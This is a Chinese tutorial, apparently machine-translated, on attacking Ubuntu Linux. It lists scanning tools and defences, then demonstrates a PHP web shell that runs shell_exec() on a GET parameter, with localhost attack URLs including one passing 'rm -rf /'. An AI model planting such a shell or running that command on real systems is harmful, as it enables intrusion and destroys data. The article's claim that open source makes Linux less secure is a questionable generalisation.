入侵 Linux 操作系统:使用 Ubuntu (命令教程)

Linux 是使用最广泛的服务器操作系统,尤其是用于 Web 服务器。它是开源的;这意味着任何人都可以访问源代码。 与其他操作系统相比,这使其安全性较低,因为攻击者可以研究源代码来查找漏洞. Linux 对于黑客来说,就是利用这些漏洞来获取对系统的未授权访问。

在本文中,我们将向您介绍 Linux 是什么、它的安全漏洞、黑客攻击 Ubuntu 以及您可以采取的应对措施。

Linux 简述

Linux是开源操作系统. Linux 操作系统有很多发行版,例如 Redhat、Fedora 和 Ubuntu等。与其他操作系统不同,Linux 在安全性方面不太安全。这是因为源代码是免费提供的,因此与其他非开源操作系统相比,研究其漏洞并利用漏洞更容易。Linux 可以用作服务器、桌面、平板电脑或移动设备操作系统。

Linux 程序可以使用 GUI 或命令来操作。Linux 命令 Kali Linux 与使用 GUI 相比,使用 Linux 进行黑客攻击更加有效和高效。因此,了解基本的 Linux 黑客攻击命令会有所帮助。

参考这些教程 https://www.guru99.com/unix-linux-tutorial.html 如何开始 Kali Linux 黑客。

Linux 黑客工具

  • Nessus的– 此工具可用于 Ubuntu 黑客,扫描配置设置,补丁和网络等,可以在以下位置找到: https://www.tenable.com/products/nessus
  • NMap。 此工具可用于监控服务器上运行的主机及其所使用的服务。它还可用于扫描端口。可在以下位置找到它: https://nmap.org/
  • 萨拉—— SARA 是“安全审计员研究助理”的缩写。顾名思义,此工具可用于审计网络以防范以下威胁: SQL注入,XSS等,可以在以下位置找到 http://www-arc.com/sara/sara.html

以上列表并不详尽;它让你了解可用的工具 Ubuntu 黑客攻击和入侵 Linux 系统。

如何防止 Linux 黑客攻击

Linux 黑客攻击利用了操作系统中的漏洞。组织可以采取以下策略来保护自己免受此类攻击。

  • 补丁管理– 补丁可修复攻击者利用来破坏系统的漏洞。良好的补丁管理策略可确保您不断为系统应用相关补丁。
  • 正确的操作系统配置– 其他漏洞利用了服务器配置中的弱点。应禁用不活动的用户名和守护程序。应更改应用程序的常用密码、默认用户名和某些端口号等默认设置。
  • 入侵侦测系统– 此类工具可用于检测对系统的未经授权的访问。有些工具具有检测和阻止此类攻击的能力。

黑客活动:黑客攻击 Ubuntu 使用 PHP 的 Linux 系统

在这个实际场景中,我们将学习如何使用 Ubuntu 我们将为您提供有关如何使用的基本信息 PHP 入侵 Linux。我们不会针对任何受害者。如果您想尝试一下,您可以在本地机器上安装 LAMPP。

PHP 附带两个可用于执行 Linux 黑客命令的函数。它具有 exec() 和 shell_exec() 函数。函数 exec() 返回命令输出的最后一行,而 shell_exec() 则以字符串形式返回命令的整个结果。

为了演示目的,我们假设攻击者管理人员在 Web 服务器上上传以下文件。

<?php

$cmd = isset($_GET['cmd']) ? $_GET['cmd'] : 'ls -l';

echo "executing shell command:-> $cmd</br>";

$output = shell_exec($cmd);

echo "<pre>$output</pre>";

?>

这里,

上述脚本从名为 cmd 的 GET 变量获取命令。使用 shell_exec() 执行该命令,并在浏览器中返回结果。

可以使用以下 URL 来利用上述代码

http://localhost/cp/konsole.php?cmd=ls%20-l

这里,

  • “…konsole.php?cmd=ls%20-l”将值 ls –l 赋给变量 cmd.

中的命令 Ubuntu 针对服务器的黑客攻击将被执行为

shell_exec('ls -l') ;

在 Web 服务器上执行上述代码会产生类似以下的结果。

破解 Ubuntu 使用 PHP 的 Linux 系统

上述命令只是显示当前目录中的文件及其权限

假设攻击者传递以下命令

rm -rf /

这里,

  • “rm” 删除文件
  • “rf” 使 rm 命令以递归模式运行。删除所有文件夹和文件
  • “/”指示命令从根目录开始删除文件

攻击 URL 如下所示

http://localhost/cp/konsole.php?cmd=rm%20-rf%20/

总结

  • Linux 是服务器、台式机、平板电脑和移动设备的流行操作系统。
  • Linux 是开源的,任何人都可以获得源代码。这使得漏洞很容易被发现。它是黑客最好的操作系统之一。
  • 基本和网络黑客命令 Ubuntu 对于 Linux 黑客来说很有价值。
  • 漏洞是一种可被利用来危害系统的弱点。
  • 良好的安全措施可以帮助保护系统免受攻击者的攻击。